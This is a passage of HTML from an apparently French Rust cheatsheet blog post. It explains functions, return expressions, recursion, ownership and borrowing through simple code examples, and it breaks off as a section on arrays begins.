<div class="language-rust codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">Une fonction qui affiche un message</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-rust codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">fn</span><span class="token plain"> </span><span class="token function-definition function" style="color:#d73a49">saluer</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token macro property" style="color:#36acaa">println!</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"Bonjour et bienvenue en Rust !"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">fn</span><span class="token plain"> </span><span class="token function-definition function" style="color:#d73a49">main</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token function" style="color:#d73a49">saluer</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></div></code></pre></div></div>
<div class="theme-admonition theme-admonition-tip admonition_xJq3 alert alert--success"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 12 16"><path fill-rule="evenodd" d="M6.5 0C3.48 0 1 2.19 1 5c0 .92.55 2.25 1 3 1.34 2.25 1.78 2.78 2 4v1h5v-1c.22-1.22.66-1.75 2-4 .45-.75 1-2.08 1-3 0-2.81-2.48-5-5.5-5zm3.64 7.48c-.25.44-.47.8-.67 1.11-.86 1.41-1.25 2.06-1.45 3.23-.02.05-.02.11-.02.17H5c0-.06 0-.13-.02-.17-.2-1.17-.59-1.83-1.45-3.23-.2-.31-.42-.67-.67-1.11C2.44 6.78 2 5.65 2 5c0-2.2 2.02-4 4.5-4 1.22 0 2.36.42 3.22 1.19C10.55 2.94 11 3.94 11 5c0 .66-.44 1.78-.86 2.48zM4 14h5c-.23 1.14-1.3 2-2.5 2s-2.27-.86-2.5-2z"></path></svg></span>astuce</div><div class="admonitionContent_BuS1"><p>Rust résout le nom des fonction peu importe leur ordre. Donc une fonction peut être appelée avant sa déclaration</p></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="paramètres-et-type-de-retour">Paramètres et type de retour<a href="https://docs.bastienbonora.fr/blog/Rust-cheatsheet#param%C3%A8tres-et-type-de-retour" class="hash-link" aria-label="Lien direct vers Paramètres et type de retour" title="Lien direct vers Paramètres et type de retour" translate="no">​</a></h3>
<p>Contrairement au C, on doit <strong>toujours</strong> annoter le type des paramètres. Le type de retour est précisé après la flèche <code>-&gt;</code>. Une fonction sans flèche retourne <code>()</code> (le type unité, équivalent du <code>void</code>).</p>
<div class="language-rust codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">Fonction avec paramètres et valeur de retour</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-rust codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">fn</span><span class="token plain"> </span><span class="token function-definition function" style="color:#d73a49">additionner</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">a</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">i32</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> b</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">i32</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">-&gt;</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">i32</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    a </span><span class="token operator" style="color:#393A34">+</span><span class="token plain"> b </span><span class="token comment" style="color:#999988;font-style:italic">// Pas de point-virgule = expression retournée</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">fn</span><span class="token plain"> </span><span class="token function-definition function" style="color:#d73a49">main</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">let</span><span class="token plain"> resultat </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">additionner</span><span class="token punctuation" style="color:#393A34">(</span><span class="token number" style="color:#36acaa">5</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">3</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token macro property" style="color:#36acaa">println!</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"{}"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> resultat</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"> </span><span class="token comment" style="color:#999988;font-style:italic">// 8</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></div></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="expressions-vs-instructions">Expressions vs instructions<a href="https://docs.bastienbonora.fr/blog/Rust-cheatsheet#expressions-vs-instructions" class="hash-link" aria-label="Lien direct vers Expressions vs instructions" title="Lien direct vers Expressions vs instructions" translate="no">​</a></h3>
<p>C'est une notion fondamentale en Rust. La <strong>dernière expression</strong> d'une fonction (sans <code>;</code>) est automatiquement retournée. On peut aussi utiliser <code>return</code> explicitement.</p>
<div class="language-rust codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">Deux façons de retourner une valeur</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-rust codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">fn</span><span class="token plain"> </span><span class="token function-definition function" style="color:#d73a49">carre_v1</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">x</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">i32</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">-&gt;</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">i32</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    x </span><span class="token operator" style="color:#393A34">*</span><span class="token plain"> x  </span><span class="token comment" style="color:#999988;font-style:italic">// ✅ Expression retournée (pas de ;)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">fn</span><span class="token plain"> </span><span class="token function-definition function" style="color:#d73a49">carre_v2</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">x</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">i32</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">-&gt;</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">i32</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">return</span><span class="token plain"> x </span><span class="token operator" style="color:#393A34">*</span><span class="token plain"> x</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"> </span><span class="token comment" style="color:#999988;font-style:italic">// ✅ Avec return explicite</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">fn</span><span class="token plain"> </span><span class="token function-definition function" style="color:#d73a49">carre_v3</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">x</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">i32</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">-&gt;</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">i32</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    x </span><span class="token operator" style="color:#393A34">*</span><span class="token plain"> x</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"> </span><span class="token comment" style="color:#999988;font-style:italic">// ❌ Le ; en fait une instruction qui retourne ()</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></div></code></pre></div></div>
<div class="theme-admonition theme-admonition-warning admonition_xJq3 alert alert--warning"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 16 16"><path fill-rule="evenodd" d="M8.893 1.5c-.183-.31-.52-.5-.887-.5s-.703.19-.886.5L.138 13.499a.98.98 0 0 0 0 1.001c.193.31.53.501.886.501h13.964c.367 0 .704-.19.877-.5a1.03 1.03 0 0 0 .01-1.002L8.893 1.5zm.133 11.497H6.987v-2.003h2.039v2.003zm0-3.004H6.987V5.987h2.039v4.006z"></path></svg></span>Le point-virgule change tout</div><div class="admonitionContent_BuS1"><p>En Rust, <code>x * x</code> est une <strong>expression</strong> qui a une valeur. <code>x * x;</code> est une <strong>instruction</strong> qui retourne <code>()</code>. C'est subtil mais essentiel à comprendre.</p></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="fonctions-récursives">Fonctions récursives<a href="https://docs.bastienbonora.fr/blog/Rust-cheatsheet#fonctions-r%C3%A9cursives" class="hash-link" aria-label="Lien direct vers Fonctions récursives" title="Lien direct vers Fonctions récursives" translate="no">​</a></h3>
<p>Comme dans tous les langages, une fonction peut s'appeler elle-même.</p>
<div class="language-rust codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">Fonction récursive retournant n factoriel</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-rust codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">fn</span><span class="token plain"> </span><span class="token function-definition function" style="color:#d73a49">factorielle</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">n</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">u32</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">-&gt;</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">u32</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> n </span><span class="token operator" style="color:#393A34">&lt;=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">1</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token number" style="color:#36acaa">1</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">else</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">        n </span><span class="token operator" style="color:#393A34">*</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">factorielle</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">n </span><span class="token operator" style="color:#393A34">-</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">1</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">fn</span><span class="token plain"> </span><span class="token function-definition function" style="color:#d73a49">main</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token macro property" style="color:#36acaa">println!</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"{}"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">factorielle</span><span class="token punctuation" style="color:#393A34">(</span><span class="token number" style="color:#36acaa">5</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"> </span><span class="token comment" style="color:#999988;font-style:italic">// 120</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></div></code></pre></div></div>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="ownership-et-références">Ownership et références<a href="https://docs.bastienbonora.fr/blog/Rust-cheatsheet#ownership-et-r%C3%A9f%C3%A9rences" class="hash-link" aria-label="Lien direct vers Ownership et références" title="Lien direct vers Ownership et références" translate="no">​</a></h2>
<p>C'est <strong>LA</strong> caractéristique fondamentale de Rust, celle qui le rend unique. Sans la comprendre, impossible d'écrire du Rust correct.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="le-principe-downership">Le principe d'ownership<a href="https://docs.bastienbonora.fr/blog/Rust-cheatsheet#le-principe-downership" class="hash-link" aria-label="Lien direct vers Le principe d'ownership" title="Lien direct vers Le principe d'ownership" translate="no">​</a></h3>
<p>En Rust, chaque valeur a un <strong>propriétaire</strong> (owner) unique. Quand le propriétaire sort du scope, la valeur est automatiquement libérée — pas besoin de <code>free()</code> comme en C, pas besoin de garbage collector.</p>
<div class="language-rust codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">Transfert de propriété (move)</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-rust codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">let</span><span class="token plain"> s1 </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token class-name">String</span><span class="token punctuation" style="color:#393A34">::</span><span class="token function" style="color:#d73a49">from</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"hello"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">let</span><span class="token plain"> s2 </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> s1</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"> </span><span class="token comment" style="color:#999988;font-style:italic">// La propriété est transférée à s2</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic">// println!("{}", s1); // ❌ Erreur : s1 n'est plus valide !</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token macro property" style="color:#36acaa">println!</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"{}"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> s2</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain">    </span><span class="token comment" style="color:#999988;font-style:italic">// ✅ OK</span><br></div></code></pre></div></div>
<div class="theme-admonition theme-admonition-tip admonition_xJq3 alert alert--success"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 12 16"><path fill-rule="evenodd" d="M6.5 0C3.48 0 1 2.19 1 5c0 .92.55 2.25 1 3 1.34 2.25 1.78 2.78 2 4v1h5v-1c.22-1.22.66-1.75 2-4 .45-.75 1-2.08 1-3 0-2.81-2.48-5-5.5-5zm3.64 7.48c-.25.44-.47.8-.67 1.11-.86 1.41-1.25 2.06-1.45 3.23-.02.05-.02.11-.02.17H5c0-.06 0-.13-.02-.17-.2-1.17-.59-1.83-1.45-3.23-.2-.31-.42-.67-.67-1.11C2.44 6.78 2 5.65 2 5c0-2.2 2.02-4 4.5-4 1.22 0 2.36.42 3.22 1.19C10.55 2.94 11 3.94 11 5c0 .66-.44 1.78-.86 2.48zM4 14h5c-.23 1.14-1.3 2-2.5 2s-2.27-.86-2.5-2z"></path></svg></span>Pourquoi cette règle</div><div class="admonitionContent_BuS1"><p>Cela empêche les "double free" (libérer deux fois la même mémoire) et les "use-after-free" (utiliser une mémoire déjà libérée), deux des bugs les plus dangereux du C.</p></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="les-références-emprunt">Les références (emprunt)<a href="https://docs.bastienbonora.fr/blog/Rust-cheatsheet#les-r%C3%A9f%C3%A9rences-emprunt" class="hash-link" aria-label="Lien direct vers Les références (emprunt)" title="Lien direct vers Les références (emprunt)" translate="no">​</a></h3>
<p>Pour utiliser une valeur sans en prendre la propriété, on utilise une <strong>référence</strong> avec <code>&amp;</code>. C'est ce qu'on appelle un <em>emprunt</em> (borrow).</p>
<div class="language-rust codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">Emprunt avec une référence</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-rust codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">fn</span><span class="token plain"> </span><span class="token function-definition function" style="color:#d73a49">afficher_longueur</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">s</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">&amp;</span><span class="token class-name">String</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token macro property" style="color:#36acaa">println!</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"Longueur : {}"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> s</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">len</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"> </span><span class="token comment" style="color:#999988;font-style:italic">// s sort du scope, mais comme c'est une référence, rien n'est libéré</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">fn</span><span class="token plain"> </span><span class="token function-definition function" style="color:#d73a49">main</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">let</span><span class="token plain"> texte </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token class-name">String</span><span class="token punctuation" style="color:#393A34">::</span><span class="token function" style="color:#d73a49">from</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"hello"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token function" style="color:#d73a49">afficher_longueur</span><span class="token punctuation" style="color:#393A34">(</span><span class="token operator" style="color:#393A34">&amp;</span><span class="token plain">texte</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token macro property" style="color:#36acaa">println!</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"{}"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> texte</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"> </span><span class="token comment" style="color:#999988;font-style:italic">// ✅ texte est toujours valide</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></div></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="références-mutables">Références mutables<a href="https://docs.bastienbonora.fr/blog/Rust-cheatsheet#r%C3%A9f%C3%A9rences-mutables" class="hash-link" aria-label="Lien direct vers Références mutables" title="Lien direct vers Références mutables" translate="no">​</a></h3>
<p>Pour pouvoir modifier la valeur empruntée, il faut une référence mutable <code>&amp;mut</code>. La variable elle-même doit aussi être <code>mut</code>.</p>
<div class="language-rust codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">Référence mutable</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-rust codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">fn</span><span class="token plain"> </span><span class="token function-definition function" style="color:#d73a49">ajouter_point</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">s</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">&amp;</span><span class="token keyword" style="color:#00009f">mut</span><span class="token plain"> </span><span class="token class-name">String</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    s</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">push</span><span class="token punctuation" style="color:#393A34">(</span><span class="token char">'.'</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">fn</span><span class="token plain"> </span><span class="token function-definition function" style="color:#d73a49">main</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">let</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">mut</span><span class="token plain"> texte </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token class-name">String</span><span class="token punctuation" style="color:#393A34">::</span><span class="token function" style="color:#d73a49">from</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"hello"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token function" style="color:#d73a49">ajouter_point</span><span class="token punctuation" style="color:#393A34">(</span><span class="token operator" style="color:#393A34">&amp;</span><span class="token keyword" style="color:#00009f">mut</span><span class="token plain"> texte</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token macro property" style="color:#36acaa">println!</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"{}"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> texte</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"> </span><span class="token comment" style="color:#999988;font-style:italic">// hello.</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></div></code></pre></div></div>
<div class="theme-admonition theme-admonition-warning admonition_xJq3 alert alert--warning"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 16 16"><path fill-rule="evenodd" d="M8.893 1.5c-.183-.31-.52-.5-.887-.5s-.703.19-.886.5L.138 13.499a.98.98 0 0 0 0 1.001c.193.31.53.501.886.501h13.964c.367 0 .704-.19.877-.5a1.03 1.03 0 0 0 .01-1.002L8.893 1.5zm.133 11.497H6.987v-2.003h2.039v2.003zm0-3.004H6.987V5.987h2.039v4.006z"></path></svg></span>Règles de l'emprunt</div><div class="admonitionContent_BuS1"><p>Rust impose deux règles strictes pour les références :</p><ol>
<li class="">À un moment donné, on peut avoir <strong>soit une seule référence mutable</strong>, <strong>soit autant de références immuables qu'on veut</strong>.</li>
<li class="">Les références doivent toujours pointer vers une valeur valide.</li>
</ol><p>Ces règles, vérifiées à la compilation, éliminent les <em>data races</em> (courses de données) en programmation concurrente.</p></div></div>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="les-tableaux">Les tableaux<a href="https://docs.bastienbonora.fr/blog/Rust-cheatsheet#les-tableaux" class="hash-link" aria-label="Lien direct vers Les tableaux" title="Lien direct vers Les tableaux" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="déclarer-un-tableau">Déclarer un tableau<a href="https://docs.bastienbonora.fr/blog/Rust-cheatsheet#d%C3%A9clarer-un-tableau" class="hash-link" aria-label="Lien direct vers Déclarer un tableau" title="Lien direct vers Déclarer un tableau" translate="no">​</a></h3>
<p>Un tableau en Rust a une <strong>taille fixe</strong>, connue à la compilation. Tous les éléments doivent être du même type.</p>
